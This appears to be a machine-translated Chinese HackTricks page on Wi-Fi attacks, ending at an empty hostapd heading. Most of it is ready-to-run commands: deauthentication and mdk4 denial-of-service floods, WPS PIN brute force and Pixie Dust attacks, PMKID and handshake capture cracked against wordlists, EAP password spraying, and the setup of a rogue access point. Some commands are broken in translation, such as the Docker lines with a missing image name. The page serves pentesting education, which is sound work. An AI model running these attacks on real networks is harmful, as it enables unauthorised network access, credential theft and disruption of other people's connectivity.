# Wifi基本命令
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
* 你在一个**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
**HackenProof是所有加密漏洞赏金的家园。**
**无需延迟获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
**在web3渗透测试中获得经验**\
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
## Wifi基本命令
```bash
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
```
## 工具
### EAPHammer
```
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
```
### Airgeddon
Airgeddon是一款功能强大的无线渗透测试工具,旨在帮助渗透测试人员评估和攻击无线网络。它提供了一系列的攻击模块和技术,使用户能够执行各种无线渗透测试任务。
#### 功能
- **无线网络扫描**:Airgeddon可以扫描附近的无线网络,并提供详细的信息,如SSID、信号强度、加密类型等。
- **无线密码破解**:该工具支持多种无线密码破解技术,包括暴力破解、字典攻击和WPS破解。
- **无线攻击模块**:Airgeddon提供了多种无线攻击模块,如Deauth攻击、Evil Twin攻击、Karma攻击等,用于干扰和欺骗无线客户端。
- **无线客户端连接**:该工具可以模拟无线接入点,吸引无线客户端连接,并捕获其通信数据。
- **无线漏洞利用**:Airgeddon还提供了一些无线漏洞利用模块,用于利用已知的无线网络漏洞。
#### 使用方法
1. 安装Airgeddon:在Kali Linux上,可以使用以下命令安装Airgeddon:
```
git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git
cd airgeddon
sudo bash airgeddon.sh
```
2. 启动Airgeddon:在终端中运行以下命令启动Airgeddon:
```
sudo bash airgeddon.sh
```
3. 选择攻击模块:根据需要选择相应的攻击模块,并按照提示进行配置。
4. 执行攻击:根据所选的攻击模块,执行相应的攻击任务。
请注意,使用Airgeddon进行无线渗透测试可能涉及违法行为。在使用该工具之前,请确保您已获得合法的授权,并遵守当地法律法规。
```bash
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
```
**使用Docker运行airgeddon**
Airgeddon是一款功能强大的无线渗透测试工具,可以帮助我们评估和测试无线网络的安全性。通过使用Docker,我们可以更方便地运行和管理Airgeddon。
以下是使用Docker运行Airgeddon的步骤:
1. 首先,确保您的系统已安装Docker。如果没有安装,请根据您的操作系统进行安装。
2. 下载Airgeddon的Docker镜像。您可以在Docker Hub上找到Airgeddon的官方镜像。
```
docker pull
```
请将``替换为Airgeddon的Docker镜像名称。
3. 运行Airgeddon容器。使用以下命令:
```
docker run -it --net=host --privileged
```
这将在交互模式下启动Airgeddon容器,并将主机网络和特权模式传递给容器。
4. 现在,您可以在Airgeddon容器中使用Airgeddon工具了。按照Airgeddon的使用说明进行操作。
请注意,运行Airgeddon需要特权模式和对主机网络的访问权限。确保您在安全的环境中运行Airgeddon,并遵守适用的法律和道德准则。
祝您使用Airgeddon愉快!
```bash
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
```
从:[https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux](https://github.com/v1s1t0r1sh3r3/airgeddon/wiki/Docker%20Linux)
### wifiphisher
它可以执行Evil Twin、KARMA和Known Beacons攻击,然后使用钓鱼模板来获取网络的真实密码或捕获社交网络凭据。
```bash
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
```
### [Wifite2](https://github.com/derv82/wifite2)
这个工具自动化了**WPS/WEP/WPA-PSK**攻击。它会自动执行以下操作:
* 将接口设置为监控模式
* 扫描可能的网络 - 并让您选择受害者
* 如果是WEP - 启动WEP攻击
* 如果是WPA-PSK
* 如果是WPS:使用Pixie dust攻击和暴力破解攻击(请注意,暴力破解攻击可能需要很长时间)。请注意,它不会尝试空PIN或数据库/生成的PIN。
* 尝试捕获AP的PMKID以进行破解
* 尝试使AP的客户端断开连接以捕获握手
* 如果有PMKID或握手,尝试使用前5000个常用密码进行暴力破解。
## 攻击摘要
* **DoS**
* 拒绝服务攻击
* 断开连接/解关联 - 断开所有人(或特定的ESSID/客户端)
* 随机虚假AP - 隐藏网络,可能导致扫描器崩溃
* 过载AP - 尝试使AP崩溃(通常不太有用)
* WIDS - 与IDS玩耍
* TKIP,EAPOL - 一些特定的攻击方式来拒绝服务一些AP
* **破解**
* 破解**WEP**(多种工具和方法)
* **WPA-PSK**
* **WPS** PIN“暴力破解”
* **WPA PMKID**暴力破解
* \[DoS +] 捕获**WPA握手** + 破解
* **WPA-MGT**
* **用户名捕获**
* **暴力破解**凭据
* **恶意双胞胎**(带或不带DoS)
* **开放**恶意双胞胎\[+ DoS] - 用于捕获强制门户凭据和/或执行局域网攻击
* **WPA-PSK**恶意双胞胎 - 如果您知道密码,用于网络攻击
* **WPA-MGT** - 用于捕获公司凭据
* **KARMA, MANA**, **Loud MANA**, **已知信标**
* **+ 开放** - 用于捕获强制门户凭据和/或执行局域网攻击
* **+ WPA** - 用于捕获WPA握手
## DoS
### 解关联数据包
这种类型的攻击最常见的方式是使用**解关联**数据包。这些是一种“管理”帧,负责将设备从接入点断开连接。伪造这些数据包是[黑客入侵许多Wi-Fi网络](https://null-byte.wonderhowto.com/how-to/wi-fi-hacking/)的关键,因为您可以在任何时候强制断开网络上的任何客户端。这种操作的简便性有些令人恐惧,并且通常作为获取用于破解的WPA握手的一部分而进行。
除了短暂地使用此断开连接来获取握手以进行破解之外,您还可以让这些解关联数据包继续发送,这样会使客户端看起来不断收到来自其所连接的网络的解关联数据包。由于这些帧没有加密,许多程序通过伪造这些帧并将它们发送到网络上的一个或所有设备来利用管理帧。\
**描述来自**[**这里**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/)**。**
**使用Aireplay-ng进行解关联**
```
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
```
* \-0 表示断开连接
* 1 是要发送的断开连接的次数(如果需要,可以发送多次);0 表示持续发送
* \-a 00:14:6C:7E:40:80 是接入点的 MAC 地址
* \-c 00:0F:B5:34:30:30 是要断开连接的客户端的 MAC 地址;如果省略此参数,则发送广播断开连接(不一定总是有效)
* ath0 是接口名称
### 解除关联数据包
解除关联数据包是另一种管理帧类型,用于断开附近接入点的节点(指任何设备,如笔记本电脑或手机)。断开连接帧和解除关联帧的区别主要在于它们的使用方式。
当接入点希望断开一个恶意设备时,会发送一个断开连接数据包,通知设备已从网络中断开连接;而解除关联数据包用于在接入点关闭电源、重新启动或离开区域时断开任何节点的连接。
**从** [**这里**](https://null-byte.wonderhowto.com/how-to/use-mdk3-for-advanced-wi-fi-jamming-0185832/) **获取的描述。**
**可以使用 mdk4(模式 "d")执行此攻击。**
```bash
# -c
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
```
### **mdk4的更多DOS攻击**
**来自**[**这里**](https://en.kali.tools/?p=864)**。**
**攻击模式b: Beacon Flood**
发送信标帧以显示虚假的AP(接入点)给客户端。这有时会导致网络扫描工具甚至驱动程序崩溃!
```bash
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
```
**攻击模式 a: 认证拒绝服务**
向范围内发现的所有AP发送认证帧。过多的客户端可能会导致多个AP冻结或重置。
```bash
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
```
**攻击模式 p: SSID探测和暴力破解**
探测接入点(AP)并检查回应,用于检查SSID是否已正确解密以及AP是否在发送范围内。还可以使用字典或不使用字典进行**隐藏SSID的暴力破解**。
**攻击模式 m: Michael对策利用**
发送随机数据包或重新注入重复数据包到另一个QoS队列,以引发**TKIP APs**上的Michael对策。接入点将会关闭一整分钟,使其成为一种有效的**拒绝服务攻击(DoS)**。
```bash
# -t of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
```
**攻击模式 e: EAPOL启动和注销数据包注入**
通过向AP发送EAPOL启动帧来使其忙于处理虚假会话,从而使其无法处理任何合法客户端。或者通过注入虚假的EAPOL注销消息来注销客户端。
```bash
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
```
**攻击模式 s: 针对IEEE 802.11s网状网络的攻击**
对网状网络中的链路管理和路由进行各种攻击。淹没邻居和路由,创建黑洞并转移流量!
**攻击模式 w: WIDS混淆**
通过将客户端交叉连接到多个WDS节点或伪造的恶意AP,混淆/滥用入侵检测和预防系统。
```bash
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e -c [-z]
```
**攻击模式 f: 数据包模糊器**
一个简单的数据包模糊器,具有多个数据包来源和一组不错的修改器。要小心!
### **Airggedon**
_**Airgeddon**_ 提供了前面评论中提到的大部分攻击方式:
![](<../../.gitbook/assets/image (126).png>)
## WPS
WPS代表Wi-Fi Protected Setup,是一种无线网络安全标准,旨在加快和简化路由器与无线设备之间的连接。**WPS仅适用于使用使用**WPA个人或WPA2个人安全协议**加密的无线网络**。WPS不适用于使用已弃用的WEP安全协议的无线网络,这种协议可以被任何具备基本工具和技能的黑客轻松破解。(来自[这里](https://www.digitalcitizen.life/simple-questions-what-wps-wi-fi-protected-setup))
WPS使用一个8位PIN码允许用户连接到网络,但首先检查前4个数字,如果正确,则检查后4个数字。然后,可以先暴力破解前半部分,然后再暴力破解后半部分(只有11000种可能性)。
### WPS暴力破解
有两个主要工具可以执行此操作:Reaver和Bully。
* **Reaver**被设计为针对WPS的强大而实用的攻击,并已针对各种接入点和WPS实现进行了测试。
* **Bully**是WPS暴力破解攻击的**新实现**,用C语言编写。它相对于原始的reaver代码具有几个优点:较少的依赖性,改进的内存和CPU性能,正确处理字节序,以及更强大的选项集。
此攻击利用了八位WPS PIN码的**弱点**;由于此问题,协议**泄露了有关PIN的前四位数字的信息**,而**最后一位**作为**校验和**,使得暴力破解WPS AP变得容易。\
请注意,某些设备包括**暴力破解保护**,通常会**阻止重复尝试攻击的MAC地址**。在这种情况下,此攻击的复杂性增加,因为您需要在测试PIN码时**轮换MAC地址**。
如果找到WPS有效代码,Bully和Reaver都将使用它来发现用于保护网络的WPA/WPA2 PSK,因此您将能够在需要时随时连接。
```bash
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
```
**智能暴力破解**
与其尝试每个可能的PIN码,你应该检查是否有可用的**已发现的用于攻击的AP的PIN码**(根据制造商的MAC地址)和**PIN码生成软件生成的PIN码**。
* 已知PIN码数据库是为某些制造商的接入点而制作的,已知它们使用相同的WPS PIN码。该数据库包含MAC地址的前三个八位字节和相应PIN码的列表,这些PIN码对于该制造商来说非常可能。
* 有几种算法可以生成WPS PIN码。例如,ComputePIN和EasyBox在计算中使用接入点的MAC地址。但是Arcadyan算法还需要设备ID。
### WPS Pixie Dust攻击
Dominique Bongard发现一些AP存在生成**nonce**(称为**E-S1**和**E-S2**)的弱点,这些nonce应该是保密的。如果我们能够找出这些nonce是什么,我们就可以轻松找到AP的WPS PIN码,因为AP必须以哈希的形式将其提供给我们,以证明它也知道该PIN码,而客户端没有连接到一个伪造的AP。这些E-S1和E-S2本质上是“打开锁盒”的钥匙,其中包含WPS PIN码。更多信息请参见:[https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
基本上,一些实现在使用随机密钥加密PIN码的两部分(在身份验证通信期间将其分解为两部分并发送给客户端)时失败,因此可以使用离线攻击来暴力破解有效的PIN码。
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
```
### Null Pin攻击
一些非常糟糕的实现允许使用Null PIN连接(非常奇怪)。Reaver可以测试这个(Bully不能)。
```
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
```
### Airgeddon
所有提出的WPS攻击都可以通过使用_airgeddon_轻松执行。
![](<../../.gitbook/assets/image (124).png>)
* 5和6允许您尝试**自定义PIN码**(如果您有)
* 7和8执行**Pixie Dust攻击**
* 13允许您测试**NULL PIN码**
* 11和12将从可用数据库中**收集与所选AP相关的PIN码**并使用ComputePIN、EasyBox和可选的Arcadyan(推荐,为什么不呢?)**生成**可能的**PIN码**
* 9和10将测试**每个可能的PIN码**
## **WEP**
已经破解并消失了,我不打算谈论它。只需知道_airgeddon_有一个名为"All-in-One"的WEP选项,用于攻击这种保护方式。更多工具提供类似的选项。
![](<../../.gitbook/assets/image (125).png>)
**HackenProof是所有加密漏洞赏金的家园。**
**即时获得奖励**\
只有在客户存入奖励预算后,HackenProof才会启动赏金。在漏洞经过验证后,您将获得奖励。
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网!在其兴起的日子里掌握web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客攻击中获利!
{% embed url="https://hackenproof.com/register" %}
## WPA/WPA2 PSK
### PMKID
2018年,hashcat的作者[披露了](https://hashcat.net/forum/thread-7717.html)一种新的攻击类型,它不仅依赖于**一个单独的数据包**,而且不需要任何客户端连接到我们的目标AP,只需要攻击者与AP之间的通信。
事实证明,**很多**现代路由器在关联时在AP本身发送的**第一个EAPOL**帧的末尾附加了一个**可选字段**,称为“Robust Security Network”,其中包括了一种称为“PMKID”的东西。
正如原帖中所解释的那样,**PMKID**是通过使用我们已知的数据派生出来的:
```
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
```
**由于“PMK Name”字符串是恒定的,我们知道AP和站点的BSSID以及`PMK`是从完整的4次握手中获得的相同的PMK**,这就是hashcat破解PSK并恢复密码所需的全部信息!\
从[这里](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)获取的描述。
要**收集**此信息并在本地**暴力破解**密码,您可以执行以下操作:
```bash
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
```
```bash
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
```
捕获到的**PMKIDs**将显示在**控制台**中,并且还会**保存**在`/tmp/attack.pcap`中。现在,将捕获的数据转换为**hashcat/john**格式并进行破解:
```bash
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
```
请注意,正确的哈希格式包含**4个部分**,如下所示:_4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7\*566f6461666f6e65436f6e6e6563743034383131343838_\
如果你的哈希只包含**3个部分**,那么它是**无效的**(PMKID捕获无效)。
请注意,`hcxdumptool`还可以捕获握手(类似于这样的内容将出现:**`MP:M1M2 RC:63258 EAPOLTIME:17091`**)。你可以使用`cap2hccapx`将握手转换为hashcat/john格式。
```bash
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
```
_我注意到使用这个工具捕获的一些握手信息即使知道正确的密码也无法破解。我建议如果可能的话,还是通过传统方式捕获握手信息,或者使用这个工具捕获多个握手信息。_
### 捕获握手信息
攻击**WPA/WPA2**网络的一种方法是捕获**握手信息**,然后尝试**离线破解**使用的密码。为此,您需要找到**受害者**网络的**BSSID**和**信道**,以及连接到该网络的**客户端**。\
一旦您获得了这些信息,您就需要开始**监听**该**BSSID**在该**信道**上的所有通信,因为希望握手信息会被发送到那里:
```bash
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
```
现在你需要对客户端进行**去认证**,让它在几秒钟内自动重新认证到接入点(请阅读DoS部分,找到几种去认证客户端的方法):
```bash
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
```
_请注意,由于客户端被断开连接,它可能会尝试连接到另一个AP,或者在其他情况下,连接到另一个网络。_
一旦在`airodump-ng`中出现了一些握手信息,这意味着握手已被捕获,您可以停止监听:
![](<../../.gitbook/assets/image (172) (1).png>)
一旦捕获到握手,您可以使用`aircrack-ng`来**破解**它:
```
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
```
### 检查文件中是否有握手包
**aircrack**
```bash
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
```
**tshark**
tshark is a command-line tool that is part of the Wireshark network protocol analyzer. It allows you to capture and analyze network traffic in real-time. With tshark, you can capture packets from various network interfaces, apply filters to capture specific types of traffic, and save the captured data to a file for further analysis.
To use tshark, you need to have Wireshark installed on your system. Once installed, you can open a terminal and run the tshark command followed by various options and filters to customize your packet capture.
Here are some common tshark commands:
- **-i**: Specifies the network interface to capture packets from. For example, `-i eth0` captures packets from the eth0 interface.
- **-f**: Applies a capture filter to capture specific types of traffic. For example, `-f "port 80"` captures only HTTP traffic.
- **-w**: Saves the captured packets to a file. For example, `-w capture.pcap` saves the packets to a file named capture.pcap.
- **-r**: Reads packets from a file for analysis. For example, `-r capture.pcap` reads packets from the capture.pcap file.
- **-Y**: Applies a display filter to analyze specific types of packets. For example, `-Y "http.request.method == GET"` displays only HTTP GET requests.
tshark provides a powerful and flexible way to capture and analyze network traffic. It is commonly used by network administrators, security analysts, and penetration testers to troubleshoot network issues, monitor network activity, and identify security vulnerabilities.
```bash
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
```
[**cowpatty**](https://github.com/roobixx/cowpatty)是一个用于破解WiFi密码的工具。它基于WPA/WPA2-PSK预共享密钥的弱点进行攻击。cowpatty使用预先计算好的PMK(Pairwise Master Key)表来加速破解过程。它还支持使用字典文件进行暴力破解。要使用cowpatty,你需要捕获到握手包(handshake)并提取出握手包中的必要信息。然后,你可以使用cowpatty来尝试破解密码。
```
cowpatty -r psk-01.cap -s "ESSID" -f -
```
_如果这个工具在找到一个未完成的ESSID握手之前就找到了一个完成的握手,它将无法检测到有效的握手。_
**pyrit**
```bash
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
```
## **WPA企业(MGT)**
**重要的是要讨论企业Wifi可能使用的不同身份验证方法**。对于这种类型的Wifi,您可能会在`airodump-ng`中找到类似以下的内容:
```
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
```
**EAP**(可扩展认证协议)是**认证通信的核心**,在此之上,服务器使用认证算法对客户端(**请求者**)进行认证,有时客户端也会对服务器进行认证。\
在此情况下使用的主要认证算法有:
* **EAP-GTC**:是一种支持使用硬件令牌和一次性密码的EAP方法,用于支持EAP-PEAP。它的实现类似于MSCHAPv2,但不使用对等挑战。相反,密码以**明文**形式发送到接入点(对于降级攻击非常有趣)。
* **EAP-MD-5(消息摘要)**:客户端发送密码的MD5哈希值。**不推荐使用**:易受字典攻击,没有服务器认证,也没有生成每个会话的有线等效隐私(WEP)密钥的方法。
* **EAP-TLS(传输层安全)**:它依赖于**客户端和服务器端证书**进行认证,并可用于动态生成基于用户和会话的WEP密钥以保护后续通信。
* **EAP-TTLS(隧道传输层安全)**:通过加密通道(或隧道)实现客户端和网络的**相互认证**,以及派生动态的、每个用户的、每个会话的WEP密钥的方法。与EAP-TLS不同,**EAP-TTLS仅需要服务器端证书(客户端将使用凭据)**。
* **PEAP(受保护的可扩展认证协议)**:PEAP类似于**EAP**协议,但创建了一个**TLS隧道**来保护通信。然后,可以在EAP之上使用弱认证协议,因为它们将受到隧道的保护。
* **PEAP-MSCHAPv2**:也称为**PEAP**,因为它被广泛采用。这只是在PEAP之上的易受攻击的挑战/响应称为MSCHAPv2(它受到TLS隧道的保护)。
* **PEAP-EAP-TLS或PEAP-TLS**:与**EAP-TLS**非常相似,但在交换证书之前创建了一个TLS隧道。
您可以在[此处](https://en.wikipedia.org/wiki/Extensible_Authentication_Protocol)和[此处](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html)找到有关这些认证方法的更多信息。
### 用户名捕获
阅读[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)可以看出,如果使用**EAP**,则必须支持**"Identity"**消息,并且**用户名**将在**"Response Identity"**消息中以**明文**形式发送。
即使使用最安全的认证方法之一:**PEAP-EAP-TLS**,也可以**捕获在EAP协议中发送的用户名**。为此,**捕获认证通信**(在一个信道内启动`airodump-ng`并在同一接口上启动`wireshark`),并通过`eapol`过滤数据包。\
在"**Response, Identity**"数据包中,将显示客户端的**用户名**。
![](<../../.gitbook/assets/image (150).png>)
### 匿名身份
(信息来自[https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm))
**EAP-PEAP和EAP-TTLS都支持身份隐藏**。在WiFi环境中,接入点(AP)通常在关联过程中生成EAP-Identity请求。为了保护匿名性,用户系统上的EAP客户端可能只回应足够的信息,以允许第一跳RADIUS服务器处理请求,如下例所示。
* _**EAP-Identity = anonymous**_
> 在此示例中,所有用户将共享伪用户名“anonymous”。第一跳RADIUS服务器是一个驱动PEAP或TTLS协议服务器端的EAP-PEAP或EAP-TTLS服务器。然后,内部(受保护的)认证类型将在本地处理或代理到远程(主页)RADIUS服务器。
* _**EAP-Identity = anonymous@realm\_x**_
> 在此示例中,属于不同领域的用户隐藏自己的身份,但指示他们属于哪个领域,以便第一跳RADIUS服务器可以将EAP-PEAP或EAP-TTLS请求代理到其主页领域中的RADIUS服务器,该服务器将充当PEAP或TTLS服务器。第一跳服务器纯粹充当RADIUS中继节点。
>
> 或者,第一跳服务器可以充当EAP-PEAP或EAP-TTLS服务器,并处理受保护的认证方法或将其代理到另一个服务器。可以使用此选项为不同领域配置不同的策略。
在EAP-PEAP中,一旦PEAP服务器和PEAP客户端建立了TLS隧道,PEAP服务器将生成一个EAP-Identity请求并将其传输到TLS隧道中。客户端通过在加密隧道中发送包含用户真实身份的EAP-Identity响应来回应这个第二个EAP-Identity请求。这样可以防止监听802.11流量的任何人发现用户的真实身份。
EAP-TTLS的工作方式略有不同。使用EAP-TTLS,客户端通常通过TLS隧道进行PAP或CHAP认证。在这种情况下,客户端将在建立隧道后发送的第一个TLS消息中包含User-Name属性和Password或CHAP-Password属性。
无论使用哪种协议,一旦建立了TLS隧道,PEAP/TTLS服务器就会了解到用户的真实身份。真实身份可以是形式为_**user@realm**_或简单地_**user**_。如果PEAP/TTLS服务器也对_**user**_进行身份验证,它现在知道用户的身份,并继续使用TLS隧道保护的认证方法。或者,PEAP/TTLS服务器可以将新的RADIUS请求转发到用户的主页RADIUS服务器。这个新的RADIUS请求已经剥离了PEAP或TTLS协议。如果受保护的认证方法是EAP,则内部EAP消息将在不带有EAP-PEAP或EAP-TTLS包装器的情况下传输到主页RADIUS服务器。传出RADIUS消息的User-Name属性包含用户的真实身份,而不是传入RADIUS请求的匿名User-Name属性。如果受保护的认证方法是PAP或CHAP(仅由TTLS支持),则从TLS有效负载中恢复的User-Name和其他认证属性将放置在传出RADIUS消息中,以替换传入RADIUS请求中包含的匿名User-Name和TTLS EAP-Message属性。
### EAP-暴力破解(密码喷洒)
如果客户端预计使用**用户名和密码**(请注意,在这种情况下**EAP-TLS无效**),那么您可以尝试获取**用户名列表**(请参见下一部分)和**密码**,并尝试使用[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**进行暴力破解**。
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
您还可以使用 `eaphammer` 进行此攻击:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
```
## 客户端攻击理论
### 网络选择和漫游
尽管802.11协议有非常具体的规则来规定一个站点如何加入ESS,但它并没有指定站点应该如何选择要连接的ESS。此外,该协议允许站点在共享相同ESSID的接入点之间自由漫游(因为当你从建筑物的一端走到另一端时,你不希望失去WiFi连接等)。然而,802.11协议并没有指定应该如何选择这些接入点。此外,尽管站点必须经过身份验证才能与接入点关联,但802.11协议并不要求接入点对站点进行身份验证。
### 首选网络列表(PNLs)
每当一个站点连接到一个无线网络时,该网络的ESSID被存储在站点的首选网络列表(PNL)中。PNL是一个有序列表,包含了站点过去连接过的每个网络,PNL中的每个条目都包含了网络的ESSID和建立连接所需的任何网络特定的配置信息。
### 被动扫描
在基础设施网络中,接入点定期发送信标帧来向附近的站点广告它们的存在和能力。信标是广播帧,这意味着它们旨在被范围内的所有附近站点接收。信标包括关于AP支持的速率、加密能力、附加信息以及最重要的是,信标帧包含AP的ESSID(只要ESSID广播未禁用)。
在被动扫描期间,客户端设备会监听附近接入点发送的信标帧。如果客户端设备接收到一个ESSID字段与其PNL中的ESSID匹配的信标帧,客户端将自动连接到发送信标帧的接入点。然后,假设我们想要针对一个当前未连接到任何无线网络的无线设备进行攻击。如果我们知道该客户端PNL中至少有一个条目,我们只需创建一个具有该条目ESSID的自己的接入点,就可以强制客户端连接到我们。
### 主动探测
802.11中使用的第二种网络选择算法称为主动探测。使用主动探测的客户端设备会持续发送探测请求帧,以确定哪些AP在范围内以及它们的能力。探测请求有两种形式:定向和广播。定向探测请求是针对特定ESSID的,是客户端检查特定网络是否附近的方式。
使用定向探测的客户端将为其PNL中的每个网络发送探测请求。值得注意的是,定向探测是唯一的方式来识别附近隐藏网络的存在。广播探测请求的工作方式几乎完全相同,但是发送时将SSID字段设置为NULL。这样可以将广播探测请求发送给附近的所有接入点,允许站点检查是否附近有任何其首选网络,而不会泄露其PNL的内容。
## 简单的重定向到互联网的AP
在解释如何执行更复杂的攻击之前,将先解释如何仅仅创建一个AP并将其流量重定向到连接到互联网的接口。
使用`ifconfig -a`检查要创建AP的wlan接口和连接到互联网的接口是否存在。
### DHCP和DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
创建一个名为 _/etc/dnsmasq.conf_ 的配置文件,内容如下:
```
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
```
然后**设置IP地址**和**路由**:
```
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
```
然后 **启动** dnsmasq:
```
dnsmasq -C dnsmasq.conf -d
```
### hostapd
